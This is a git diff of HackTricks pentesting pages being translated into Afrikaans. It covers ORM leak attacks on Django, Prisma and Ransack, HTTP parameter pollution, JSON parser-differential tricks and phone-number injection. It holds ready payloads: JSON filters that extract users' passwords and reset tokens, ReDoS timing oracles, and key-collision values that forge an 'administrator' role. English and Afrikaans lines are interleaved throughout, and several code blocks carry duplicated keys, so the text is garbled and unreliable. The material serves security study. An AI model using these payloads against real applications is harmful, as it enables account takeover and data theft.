Let op hoe al die request.data (wat 'n json sal wees) direk aan **filter objek van die databasis** oorgedra word. 'n Aanvaller kan onverwagte filters stuur om meer data as verwag daaruit te lek.
Examples:
- **Login:** In a simple login try to leak the passwords of the users registered inside of it.
Voorbeelde:
- **Teken in:** In 'n eenvoudige teken in probeer om die wagwoorde van die gebruikers wat daarin geregistreer is, te lek.
```json
{
"username": "admin",
"password_startswith": "a"
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> It's possible to brute-force the password until it's leaked.
- **Relational filtering**: It's possible to traverse relations in order to leak information from columns that weren't even expected to be used in the operation. For example, if it's possible to leak articles created by a user withe these relations: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
> Dit is moontlik om die wagwoord te brute-force totdat dit gelek word.
- **Relasionele filtrering**: Dit is moontlik om verhoudings te deurkruis om inligting uit kolomme te lek wat selfs nie verwag is om in die operasie gebruik te word nie. Byvoorbeeld, as dit moontlik is om artikels wat deur 'n gebruiker geskep is te lek met hierdie verhoudings: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> It's possible to find the password of all the users that have created an article
- **Many-to-many relational filtering**: In the previous example we couldn't find passwords of users that haven't created an article. However, following other relationships this is possible. For example: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
> Dit is moontlik om die wagwoord van al die gebruikers wat 'n artikel geskep het, te vind.
- **Baie-tot-baie relasionele filtrering**: In die vorige voorbeeld kon ons nie wagwoorde van gebruikers vind wat nie 'n artikel geskep het nie. Dit is egter moontlik om ander verhoudings te volg. Byvoorbeeld: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> In this case we can find all the users in the departments of users that have created articles and then leak their passwords (in the previous json we are just leaking the usernames but then it's possible to leak the passwords).
- **Abusing Django Group and Permission many-to-may relations with users**: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some **many-to-many relationships with the Permission and Group tables**. Which basically is a default way to **access other users from one user** if they are in the **same group or share the same permission**.
> In hierdie geval kan ons al die gebruikers in die departemente van gebruikers vind wat artikels geskep het en dan hul wagwoorde lek (in die vorige json lek ons net die gebruikersname, maar dit is dan moontlik om die wagwoorde te lek).
- **Misbruik van Django Groep en Toestemming baie-tot-baie verhoudings met gebruikers**: Boonop word die AbstractUser-model gebruik om gebruikers in Django te genereer en standaard het hierdie model 'n paar **baie-tot-baie verhoudings met die Toestemming en Groep tabelle**. Wat basies 'n standaard manier is om **ander gebruikers van een gebruiker te bekom** as hulle in die **dieselfde groep is of dieselfde toestemming deel**.
```bash
# By users in the same group
created_by__user__groups__user__password
@ -67,268 +60,242 @@ created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **Bypass filter restrictions**: The same blogpost proposed to bypass the use of some filtering like `articles = Article.objects.filter(is_secret=False, **request.data)`. t's possible to dump articles that have is_secret=True because we can loop back from a relationship to the Article table and leak secret articles from non secret articles because the results are joined and the is_secret field is checked in the non secret article while the data is leaked from the secret article.
- **Om filterbeperkings te omseil**: Dieselfde blogpos het voorgestel om die gebruik van sommige filtrering soos `articles = Article.objects.filter(is_secret=False, **request.data)` te omseil. Dit is moontlik om artikels wat is_secret=True het, te dump omdat ons van 'n verhouding terug na die Artikel tabel kan loop en geheime artikels van nie-geheime artikels kan lek omdat die resultate saamgevoeg word en die is_secret veld in die nie-geheime artikel nagegaan word terwyl die data van die geheime artikel gelek word.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Abusing relationships it's possible to bypass even filters meant to protect the data shown.
- **Error/Time based via ReDoS**: In the previous examples it was expected to have different responses if the filtering worked or not to use that as oracle. But it could be possible that some action is done in the database and the response is always the same. In this scenario it could be possible to make the database error to get a new oracle.
> De misbruik van verhoudings kan dit moontlik maak om selfs filters wat bedoel is om die data wat vertoon word te beskerm, te omseil.
- **Fout/Tyd gebaseer via ReDoS**: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te maak om 'n nuwe orakel te kry.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
- **SQLite**: Doesn't have a regexp operator by default (require loading a third-party extension)
- **PostgreSQL**: Doesn't have a default regex timeout and it's less prone to backtracking
- **MariaDB**: Doesn't have a regex timeout
- **SQLite**: Het nie 'n regexp-operator standaard nie (vereis die laai van 'n derdeparty-uitbreiding)
- **PostgreSQL**: Het nie 'n standaard regex-tydslimiet nie en is minder geneig tot terugspoeling
- **MariaDB**: Het nie 'n regex-tydslimiet nie
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
Die volgende is [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
- **Full find contro**l:
- **Volledige vind beheer**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
try {
// Aanvaller het volle beheer oor al die prisma opsies
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
Dit is moontlik om te sien dat die hele javascript-liggaam aan prisma oorgedra word om navrae uit te voer.
In die voorbeeld van die oorspronklike pos, sou dit al die plasings wat deur iemand geskep is (elke plasings is deur iemand geskep) nagaan en ook die gebruikersinligting van daardie iemand teruggee (gebruikersnaam, wagwoord...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
The following one selects all the posts created by someone with a password and wil return the password:
Die volgende een kies al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **Volledige waar-klousule beheer**:
- **Full where clause control**:
Let's take a look to this where the attack can control the `where` clause:
Kom ons kyk na hierdie waar die aanval die `waar` klousule kan beheer:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Kw vulnerable to ORM Leaks
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to filter the password of users directly like:
Dit is moontlik om die wagwoord van gebruikers direk te filter soos:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> Using operations like `startsWith` it's possible to leak information.&#x20;
- **Many-to-many relational filtering bypassing filtering:**&#x20;
> Deur operasies soos `startsWith` te gebruik, is dit moontlik om inligting te lek.&#x20;
- **Baie-tot-baie verwantskap filtrering omseiling:**&#x20;
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
It's possible to leak not published articles by lopping back to the many-to-many relationships between `Category` -\[\*..\*]-> `Article`:
Dit is moontlik om nie gepubliseerde artikels te lek deur terug te loop na die baie-tot-baie verhoudings tussen `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
It's also possible to leak all the users abusing some loop back many-to-many relationships:
Dit is ook moontlik om al die gebruikers wat sommige loop terug baie-tot-baie verhoudings misbruik, te lek:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Error/Timed queries**: In the original post you can read an very extensive set of tests performed in order to find the optimal payload to leak information with a time based payload. This is:
- **Fout/tydgebaseerde vrae**: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **response is delayed when the correct leak is found.**
Waar die `{CONTAINS_LIST}` 'n lys is met 1000 stringe om te verseker dat die **antwoord vertraag word wanneer die korrekte leak gevind word.**
## **Ransack (Ruby)**
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
Hierdie truuks is [**gevind in hierdie pos**](https://positive.security/blog/ransack-data-exfiltration)**.**
> [!TIP]
> **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
**Vulnerable example:**
> **Let daarop dat Ransack 4.0.0.0 nou die gebruik van 'n eksplisiete toelaat lys vir soekbare eienskappe en assosiasies afdwing.**
**Kwetsbare voorbeeld:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Note how the query will be defined by the parameters sent by the attacker. It was possible to for example brute-force the reset token with:
Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset token met die volgende te brute-force:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit 'n databasis te lek.
By brute-forcing and potentially relationships it was possible to leak more data from a database.
## References
## Verwysings
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}

View File

@ -8,209 +8,190 @@
{% embed url="https://websec.nl/" %}
## HTTP Parameter Pollution (HPP) Overview
## HTTP Parameter Pollution (HPP) Oorsig
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die toepassing se funksionaliteit aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
### Example of HTTP Parameter Pollution (HPP)
### Voorbeeld van HTTP Parameter Pollution (HPP)
A banking application transaction URL:
'n Banktoepassing transaksie URL:
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **Oorspronklike URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
By inserting an additional `from` parameter:
Deur 'n addisionele `from` parameter in te voeg:
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Gemanipeerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA-instellings, of API-sleutel versoeke te manipuleer, toon.
#### **Technology-Specific Parameter Parsing**
#### **Tegnologie-spesifieke Parameter Parsing**
- The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
- Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
- Die manier waarop parameters geparseer en geprioritiseer word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
- Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul parsing gedrag te identifiseer.
### PHP and HPP Exploitation
### PHP en HPP Exploitatie
**OTP Manipulation Case:**
**OTP Manipulasie Geval:**
- **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
- **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
- **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
- **Konteks:** 'n Inlogmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
- **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliceer.
- **Uitslag:** Die OTP, bedoel vir die aanvanklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang moontlik gemaak deur die beoogde sekuriteitsmaatreël te omseil.
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, wat die eerste `email` parameter vir OTP-generasie verwerk het, maar die laaste vir aflewering gebruik het.
**API Key Manipulation Case:**
**API Sleutel Manipulasie Geval:**
- **Scenario:** An application allows users to update their API key through a profile settings page.
- **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
- **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
- **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
- **Scenario:** 'n Toepassing laat gebruikers toe om hul API-sleutel deur 'n profielinstellingsbladsy op te dateer.
- **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API-sleutel opdateringsfunksie kan manipuleer.
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API-sleutel na die aanvaller se verskafde waarde op.
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API-funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloof maak.
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameterhantering, veral in funksies so krities soos API-sleutel bestuur.
### Parameter Parsing: Flask vs. PHP
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul vatbaarheid vir HPP-aanvalle beïnvloed:
- **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
- **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
- **Flask:** Neem die eerste parameterwaarde wat teëgekom word, soos `a=1` in 'n vrae string `a=1&a=2`, en prioritiseer die aanvanklike voorkoms bo daaropvolgende duplikate.
- **PHP (op Apache HTTP Server):** Daarenteen prioritiseer die laaste parameterwaarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP-uitbuitings fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
## Parameter pollution by technology
## Parameterbesoedeling volgens tegnologie
There results were taken from [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
### PHP 8.3.11 EN Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Ignore anything after %00 in the parameter name .
2. Handle name\[] as array .
3. \_GET not meaning GET Method .
4. Prefer the last parameter .
1. Ignoreer enigiets na %00 in die parameter naam.
2. Hanteer naam\[] as 'n array.
3. \_GET beteken nie GET Metode nie.
4. Gee voorkeur aan die laaste parameter.
### Ruby 3.3.5 and WEBrick 1.8.2
### Ruby 3.3.5 en WEBrick 1.8.2
<figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Uses the & and ; delimiters to split parameters .
2. Not Recognized name\[] .
3. Prefer the first parameter .
1. Gebruik die & en ; afdelers om parameters te skei.
2. Nie Erken naam\[].
3. Gee voorkeur aan die eerste parameter.
### Spring MVC 6.0.23 AND Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
### Spring MVC 6.0.23 EN Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping .
2. POST RequestMapping & PostMapping Recognized name\[] .
3. Prefer name if name AND name\[] existing .
4. Concatenate parameters e.g. first,last .
5. POST RequestMapping & PostMapping Recognized query parameter with Content-Type .
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping Erken naam\[].
3. Gee voorkeur aan naam as naam EN naam\[] bestaan.
4. Koppel parameters byvoorbeeld eerste, laaste.
5. POST RequestMapping & PostMapping Erken query parameter met Content-Type.
### **NodeJS** 20.17.0 **AND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
### **NodeJS** 20.17.0 **EN** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Recognized name\[] .
2. Concatenate parameters e.g. first,last .
1. Erken naam\[].
2. Koppel parameters byvoorbeeld eerste, laaste.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. NIE Erken naam\[].
2. Gee voorkeur aan die eerste parameter.
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
### Python 3.12.6 EN Werkzeug 3.0.4 EN Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. NIE Erken naam\[].
2. Gee voorkeur aan die eerste parameter.
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
### Python 3.12.6 EN Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. NIE Erken naam\[].
2. Gee voorkeur aan die laaste parameter.
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
### Python 3.12.6 EN Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. NIE Erken naam\[].
2. Gee voorkeur aan die laaste parameter.
## JSON Injection
### Duplicate keys
### Duplikaat sleutels
```ini
obj = {"test": "user", "test": "admin"}
```
Die front-end mag die eerste voorkoms glo terwyl die backend die tweede voorkoms van die sleutel gebruik.
The front-end might believe the first ocurrence while the backend uses the second ocurrence of the key.
### Key Collision: Character Truncation and Comments
Certain characters aren't going to be correctly interpreted by the frontend but the backend will interpret them and use those keys, this could be useful to **bypass certain restrictions**:
### Sleutelbotsing: Karakterafsnijding en Kommentaar
Sekere karakters gaan nie korrek deur die frontend geïnterpreteer word nie, maar die backend sal hulle interpreteer en daardie sleutels gebruik, dit kan nuttig wees om **sekere beperkings te omseil**:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}
```
Let op hoe die voorkant in hierdie gevalle mag dink dat `test == 1` en die agterkant sal dink dat `test == 2`.
Note how in these cases the front end might think that `test == 1` and the backend will think that `test == 2`.
This can also by used to bypass value restrictions like:
Dit kan ook gebruik word om waardebeperkings te omseil soos:
```json
{"role": "administrator\[raw \x0d byte]"}
{"role":"administrator\ud800"}
{"role": "administrator""}
{"role": "admini\strator"}
```
### **Using Comment Truncation**
### **Gebruik van Kommentaar Afkorting**
```ini
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
```
Hier sal ons die serialiseerder van elke parser gebruik om sy onderskeie uitvoer te sien.
Here we will use the serializer from each parser to view its respective output.
Serializer 1 (e.g., GoLang's GoJay library) will produce:
Serializer 1 (bv. GoLang se GoJay biblioteek) sal produseer:
- `description = "Duplicate with comments"`
- `test = 2`
- `extra = ""`
Serializer 2 (e.g., Java's JSON-iterator library) will produce:
Serializer 2 (bv. Java se JSON-iterator biblioteek) sal produseer:
- `description = "Duplicate with comments"`
- `extra = "/*"`
- `extra2 = "*/"`
- `test = 1`
Alternatively, straightforward use of comments can also be effective:
Alternatiewelik kan eenvoudige gebruik van kommentaar ook effektief wees:
```ini
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
```
Javas GSON library:
Java se GSON biblioteek:
```json
{ "description": "Comment support", "test": 1, "extra": "a" }
```
Rubys simdjson library:
Ruby se simdjson biblioteek:
```json
{ "description": "Comment support", "test": 2, "extra": "a", "extra2": "b" }
```
### **Inconsistent Precedence: Deserialization vs. Serialization**
### **Inkonsekwente Prioriteit: Deserialisering vs. Serialisering**
```ini
obj = {"test": 1, "test": 2}
obj["test"] // 1
obj.toString() // {"test": 2}
```
### Float en Heelgetal
### Float and Integer
The number
Die nommer
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
```
can be decoded to multiple representations, including:
kan na verskeie voorstellings gedecodeer word, insluitend:
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
@ -218,10 +199,9 @@ can be decoded to multiple representations, including:
0
9223372036854775807
```
Wat moontlik inkonsekwentheid kan skep
Which might create inconsistences
## References
## Verwysings
- [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
- [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
@ -233,4 +213,3 @@ Which might create inconsistences
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,19 @@
# Phone Number Injections
# Telefoonnommer Inspuitings
{{#include ../banners/hacktricks-training.md}}
It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections:
Dit is moontlik om **teks aan die einde van die telefoonnommer by te voeg** wat gebruik kan word om algemene inspuitings (XSS, SQLi, SSRF...) te benut of selfs om beskermings te omseil:
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**OTP Bypass / Bruteforce** would work like this:
**OTP Omseiling / Bruteforce** sal soos volg werk:
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
## References
## Verwysings
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**.
Die doel van hierdie PoCs en Polygloths is om die toetsers 'n vinnige **opsomming** te gee van kwesbaarhede wat hulle mag benut as hul **invoer op een of ander manier in die antwoord weerspieël word**.
> [!WARNING]
> This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.
> Hierdie **cheatsheet stel nie 'n omvattende lys van toetse vir elke kwesbaarheid voor nie**, net 'n paar basiese. As jy op soek is na meer omvattende toetse, toegang tot elke voorgestelde kwesbaarheid.
> [!CAUTION]
